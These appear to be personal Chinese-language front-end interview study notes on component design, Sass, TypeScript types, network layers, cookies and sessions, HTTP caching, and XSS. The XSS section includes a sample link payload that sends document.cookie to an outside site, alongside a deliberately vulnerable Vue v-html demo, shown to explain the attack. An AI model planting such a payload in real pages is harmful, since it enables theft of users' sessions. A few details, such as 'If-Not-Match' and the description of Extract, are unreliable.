封装组件需要注意什么
功能性:组件的主要功能是否得到实现,是否符合需求,是否可以被扩展等。
可复用性:组件能否被重复利用在多个项目中,是否具有独立性,是否可以被其他组件调用等。(pnpm项目)
兼容性:组件在各个浏览器、设备和操作系统上的兼容性是否良好,是否需要特殊处理等。(特殊的api旧浏览器cancelbubble)
可维护性:组件的代码是否易于理解和修改,是否具有良好的结构和注释等。(有注释)
性能优化:组件是否可以优化性能,例如缓存、懒加载等。(比如防抖)
可扩展性:比如最开始只需要对单个 div 进行新手引导,但我考虑到多步。
安全性:组件是否存在安全漏洞,是否能够被攻击等。(比如输入框,不能输入js代码)
sass
变量
使用 $变量名 来定义变量
嵌套
mixin
使用@mixin写一堆 css 样式,后面需要服用的时候使用 @include 。
继承
Typescript
类型
字面量类型:变量的值就是他的类型。比如 let a:1 = 1,那么 a 的值就只能为 1,不能是其他值。那它的意义何在?比如我想限制 direction 只能是上下左右四个值其中一个,那么let direction: '上' | '下' | '左' | '右' |就可以了。
any 和 unknown 的区别: any 赋值给任何变量都不会报错,但是 unknown 只能赋值给 unknown,一旦赋值给其他变量就会报错。
void 和 never 的区别:如果函数的返回值是 void ,那么可以不返回、返回 null、返回 undefined都可以;如果函数的返回值是 never ,一般是在函数中抛出错误,立刻结束程序。
对象类型:
函数类型:
数组类型:
元组类型:固定长度的数组
枚举类型:
类型别名:
Typescript面试题
TypeScript 中 const 和 readonly 的区别?
const 声明一个常量,常量的值不可改变。 readonly 声明类的属性,该属性不可改变。
class Circle {
readonly PI = 3.14;
readonly radius: number;
constructor(radius: number) {
this.radius = radius;
}
getArea(): number {
return this.PI * this.radius * this.radius;
}
}
const circle = new Circle(5);
console.log(circle.getArea()); // 输出: 78.5
// 以下代码会导致编译错误
circle.radius = 10; // 错误: 无法分配到 "radius" ,因为它是只读属性。
extends用法
- 类似于三元表达式,如果 a 继承自 b,取冒号前的值,否则取冒号后的值。
interface A1 {
name: string
}
interface A2 {
name: string
age: number
}
// A的类型为string
type A = A2 extends A1 ? string : number
const a: A = 'this is string'
- interace的继承
interface T1 {
name: string
}
interface T2 {
sex: number
}
// 多重继承,逗号隔开
interface T3 extends T1,T2 {
age: number
}
// 合法
const t3: T3 = {
name: 'xiaoming',
sex: 1,
age: 18
}
exclude、extract的用法(刚好相反)
Exclude 后面的尖括号内有两个参数(都是联合类型),从第一个联合类型中排除第二个联合类型。
type MyType = string | number | boolean;
type ExcludedType = Exclude<MyType, boolean>;
// 输出:string | number
let value: ExcludedType;
value = "Hello";
value = 42;
// value = true; // 编译错误,无法将 boolean 类型赋值给 ExcludedType 类型
extract表示从第一个中排出第二个
type MyType = string | number | boolean;
type ExtractedType = Extract<MyType, boolean>;
// 输出:boolean
let value: ExtractedType;
value = true;
// value = "Hello"; // 编译错误,无法将 string 类型赋值给 ExtractedType 类型
// value = 42; // 编译错误,无法将 number 类型赋值给 ExtractedType 类型
keyof
将一个对象所有的 key 形成联合类型。
type Person = {
name: string;
age: number;
gender: string;
};
type PersonKeys = keyof Person;
// 输出: "name" | "age" | "gender"
let key: PersonKeys;
key = "name";
key = "age";
// key = "address"; // 编译错误,"address" 不是 Person 类型的属性
pick
和 extract 非常相似。但区别在于,它是从一个对象中提取属性。
type Person = {
name: string;
age: number;
gender: string;
address: string;
};
type PersonInfo = Pick<Person, 'name' | 'age'>;
// PersonInfo 的类型为 { name: string, age: number }
let personInfo: PersonInfo = {
name: 'Alice',
age: 25,
};
泛形的用法
//在函数中使用
function identity<T>(arg: T): T {
return arg;
}
let result = identity<number>(10); // 指定类型参数为 number
//在类中使用
class Box<T> {
private value: T;
constructor(value: T) {
this.value = value;
}
getValue(): T {
return this.value;
}
}
let box = new Box<string>("Hello"); // 指定类型参数为 string
let value = box.getValue(); // 返回值类型为 string
//在接口中使用
interface Pair<T, U> {
first: T;
second: U;
}
let pair: Pair<number, string> = {
first: 10,
second: "Hello",
};
type 和 interface 的区别
相同点:
1.都可以定义函数和对象:
type Person = {
name: string;
age: number;
greet: () => void;
};
interface Person {
name: string;
age: number;
greet: () => void;
}
type AddFunction = (a: number, b: number) => number;
interface AddFunction {
(a: number, b: number): number;
}
不同点:
type独有的:声明联合类型、元组、类型别名
// 基本类型别名
type Name = string
// 联合类型
interface Dog {
wong();
}
interface Cat {
miao();
}
type Pet = Dog | Cat
// 具体定义数组每个位置的类型
type PetList = [Dog, Pet]
interface 独有的:
类型声明可以合并
interface User {
name: string
age: number
}
interface User {
sex: string
}
/*
User 接口为 {
name: string
age: number
sex: string
}
*/
可以 extends:
interface Shape { color: string; }
interface Square extends Shape { sideLength: number; }
网络
1.五层协议
每一层都会包装一层东西。
1.应用层
比如http协议
2.传输层
滑动窗口?
原端口号,目的端口号(确定是哪个进程通信)。
TCP/UDP
负责三次握手、四次挥手。
3.网络层
封装ip地址。
4. 数据链路层
每个设备 mac 地址不一样。公网 ip 有限,同一个公司使用的公网ip可能是一样的,所以用 mac 标识设备
cookie和session
不同之处
存储位置不同:cookie保存在浏览器(比如sessionID),session保存在服务端。
再次发送请求的时候,客户端会将cookie携带在请求头中,发给服务端。服务端通过sessionID找到session,session保存用户信息。
存储大小不同: 单个 Cookie 保存的数据不能超过 4K,Session 可存储数据远高于 Cookie。
有效期:cookie长期有效,session取决于服务器如何清理session,一般是会话结束后清理。
2.强缓存和协商缓存
2.1 强缓存
浏览器在一段时间内直接从本地缓存中获取资源,而无需向服务器发送请求来验证资源的有效性。从以下例子可知,设置响应头是后端的事情。
- 响应头增加cache-control字段(优先级更高)
HTTP/1.1 200 OK
Content-Type: image/jpeg
Cache-Control: max-age=3600
- 响应头增加expire字段
HTTP/1.0 200 OK
Content-Type: image/jpeg
Expires: Sat, 01 Apr 2023 12:00:00 GMT
协商缓存
当浏览器第一次向服务器发送请求时,会在响应头中返回协商缓存的头属性:ETag和Last-Modified,其中ETag返回的是一个hash值,Last-Modified返回的是GMT格式的最后修改时间。然后浏览器在第二次发送请求的时候,会在请求头中带上与ETag对应的If-Not-Match,其值就是响应头中返回的ETag的值,Last-Modified对应的If-Modified-Since。服务器在接收到这两个参数后会做比较,如果返回的是304状态码,则说明请求的资源没有修改,浏览器可以直接在缓存中取数据,否则,服务器会直接返回数据。
应用场景
MVC和MVVM
老杜的解释:
XSS攻击(跨站脚本攻击)
v-html 或者 innerHTML 容易引起 XSS 攻击。比如在以下输入框中,输入
<a href="javascript:location.href='https://www.baidu.com?'+document.cookie">点我跳转</a>
然后点击这个链接,就会跳转baidu,并且携带cookie。
<div id="app">
<ul>
<li v-for="m of messageList" :key="index" v-html="m"></li>
</ul>
<textarea cols="50" rows="10" v-model.lazy="message"></textarea>
<button @click="save">点我添加</button>
</div>
<script>
const vm = new Vue({
el: "#app",
data: {
msg: "Vue的其他指令",
name: "jack",
message: "33",
messageList: [],
},
methods: {
save() {
this.messageList.push(this.message);
},
},
});